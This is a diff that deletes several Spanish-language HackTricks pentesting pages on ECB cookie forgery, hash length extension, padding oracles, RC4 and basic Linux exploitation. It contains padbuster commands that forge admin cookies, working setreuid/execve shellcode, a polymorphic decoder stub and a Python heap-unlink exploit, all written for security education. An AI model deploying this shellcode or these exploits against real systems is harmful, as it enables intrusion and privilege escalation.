| Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud del nombre de usuario+contraseña: | Longitud de la cookie (después de decodificar): |
| ------------------------------- | -------------------------- | ------------------------------------------- | ------------------------------------------------ |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Explotación de la vulnerabilidad
## Eliminando bloques enteros
Conociendo el formato de la cookie (`<username>|<password>`), para suplantar el nombre de usuario `admin`, crea un nuevo usuario llamado `aaaaaaaaadmin` y obtén la cookie y decodifícalo:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado anteriormente con el nombre de usuario que contenía solo `a`.\
Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Moviendo bloques
En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios extra)_
Así que, otra forma de suplantar al usuario `admin` sería:
- Generar un nombre de usuario que: `len(<username>) + len(<delimiter) % len(block)`. Con un tamaño de bloque de `8B` puedes generar un nombre de usuario llamado: `username `, con el delimitador `|` el fragmento `<username><delimiter>` generará 2 bloques de 8Bs.
- Luego, generar una contraseña que llenará un número exacto de bloques conteniendo el nombre de usuario que queremos suplantar y espacios, como: `admin `
La cookie de este usuario va a estar compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está simulando el nombre de usuario): `username |admin `
**Luego, solo reemplaza el primer bloque con el último y estarás suplantando al usuario `admin`: `admin |username`**
## Referencias
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
{{#include ../banners/hacktricks-training.md}}

38
src/cryptography/hash-length-extension-attack.md
View File

@ -1,38 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# Resumen del ataque
Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes:
- **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado)
- **Los datos de texto claro**
- **El algoritmo (y es vulnerable a este ataque)**
- **El padding es conocido**
- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
## ¿Cómo?
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere agregar la cadena "agregar", puede:
- Generar un MD5 de 64 "A"s
- Cambiar el estado del hash inicializado previamente a 6036708eba0d11f6ef52ad44e8b74d5b
- Agregar la cadena "agregar"
- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "padding" + "agregar"**
## **Herramienta**
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Referencias
Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

102
src/cryptography/padding-oracle-priv.md
View File

@ -1,102 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Encadenamiento de Bloques de Cifrado
En modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con el siguiente bloque:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
Para descifrar CBC se realizan las **operaciones** **opuestas**:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Nota cómo es necesario usar una **clave de cifrado** y un **IV**.
# Relleno de Mensaje
Como el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\
Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
Veamos más ejemplos con **2 bloques de longitud 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Nota cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**.
# Oracle de Relleno
Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados** o una **respuesta más lenta**.
Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**.
## Cómo explotar
Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer
```
sudo apt-get install padbuster
```
Para probar si la cookie de un sitio es vulnerable, podrías intentar:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de padding, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## La teoría
En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de padding oracle comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
![](<../images/image (629) (1) (1).png>)
Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "cifrado de bloque de descifrado" generando los **bytes intermedios I0 a I15**.\
Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores (E0 a E7). Así que:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
- `C13 = I13 ^ E5`
- `C12 = I12 ^ E4`
- ...
Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Así que, en este caso: `\x01 = I15 ^ E'7`
Entonces, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`.
Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Sigue esta cadena hasta que descifres todo el texto cifrado.**
## Detección de la vulnerabilidad
Registra una cuenta e inicia sesión con esta cuenta.\
Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá forma de invalidarla**.
Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
Pero si BF el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster.
## Referencias
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{{#include ../banners/hacktricks-training.md}}

15
src/cryptography/rc4-encrypt-and-decrypt.md
View File

@ -1,15 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo utilizando la función de cifrado.
Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

9
src/emails-vulns.md
View File

@ -1,9 +0,0 @@
# Vulnerabilidades de Correos Electrónicos
{{#include ./banners/hacktricks-training.md}}
##
##
{{#include ./banners/hacktricks-training.md}}

542
src/exploiting/linux-exploiting-basic-esp/README.md
View File

@ -1,542 +0,0 @@
# Linux Exploiting (Basic) (SPA)
{{#include ../../banners/hacktricks-training.md}}
## **2.SHELLCODE**
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
exit(0); // \_\_NR_exit 1
xor eax, eax ; limpiamos eax\
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
int 0x80 ; Ejecutar syscall
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
**Comprobar que la shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO**
A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
**EJ usando el Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
**Egg Huter:**
Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahí guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código.
**Shellcodes polimórficos**
Consisten en shells cifradas que tienen un pequeño código que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5.Métodos complementarios**
**Técnica de Murat**
En linux todos los progamas se mapean comenzando en 0xbfffffff
Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
##
###
###
###
###
### **Format Strings to Buffer Overflows**
Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\
For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow.
### **\_\_atexit Structures**
> [!CAUTION]
> Nowadays is very **weird to exploit this**.
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind varios structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
### **setjmp() & longjmp()**
> [!CAUTION]
> Nowadays is very **weird to exploit this**.
**`Setjmp()`** allows to **save** the **context** (the registers)\
**`longjmp()`** allows to **restore** the **context**.\
The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\
What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\
They are useful for error recovery or interrupts.\
However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP.
**VTable y VPTR en C++**
Cada clase tiene una **Vtable** que es un array de **pointers to methods**.
Cada objeto de una **class** tiene un **VPtr** que es un **pointer** al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra un **overwrite** del **VPtr** podría ser **modificado** para **point** a un método dummy de modo que ejecutar una función iría a la shellcode.
## **Medidas preventivas y evasiones**
###
**Reemplazo de Libsafe**
Se activa con: LD_PRELOAD=/lib/libsafe.so.2\
o\
“/lib/libsave.so.2” > /etc/ld.so.preload
Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid).
**ASCII Armored Address Space**
Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
**ret2plt**
Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system()
**Jaulas con chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
**Instrumentación de código**
Valgrind —> Busca errores\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev_size |\
size | —Cabecera\
\*mem | Datos
**Trozo libre**
prev_size |\
size |\
\*fd | Ptr forward chunk\
\*bk | Ptr back chunk —Cabecera\
\*mem | Datos
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
unlink(){\
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
}
Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
Y así se se ejecuta al salir del programa la shellcode.
Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
Por lo tanto el exploit se crea:
En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre**
**addr_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
**Técnica de Frontlink**
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
**Vulnerabilidad double free()**
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
**After free()**
Un puntero previamente liberado es usado de nuevo sin control.
## **8 Heap Overflows: Exploits avanzados**
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
**The house of mind**
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public_fREe(mem), este hace:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
…
\_int_free(ar_ptr, mem);
}
En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Tal y como se define unsorted_chunks, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode.
Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
**Fastbin**
Es una variante de The house of mind
nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free()
fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = \*fb
\*fb = p
De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir.
Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast
En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita).
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá.
Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila.
Otra forma de ataque es redirigir el **av** hacia la pila.
Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila.
Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0.
El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode.
Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso).
**The House of Spirit**
En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable).
Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48.
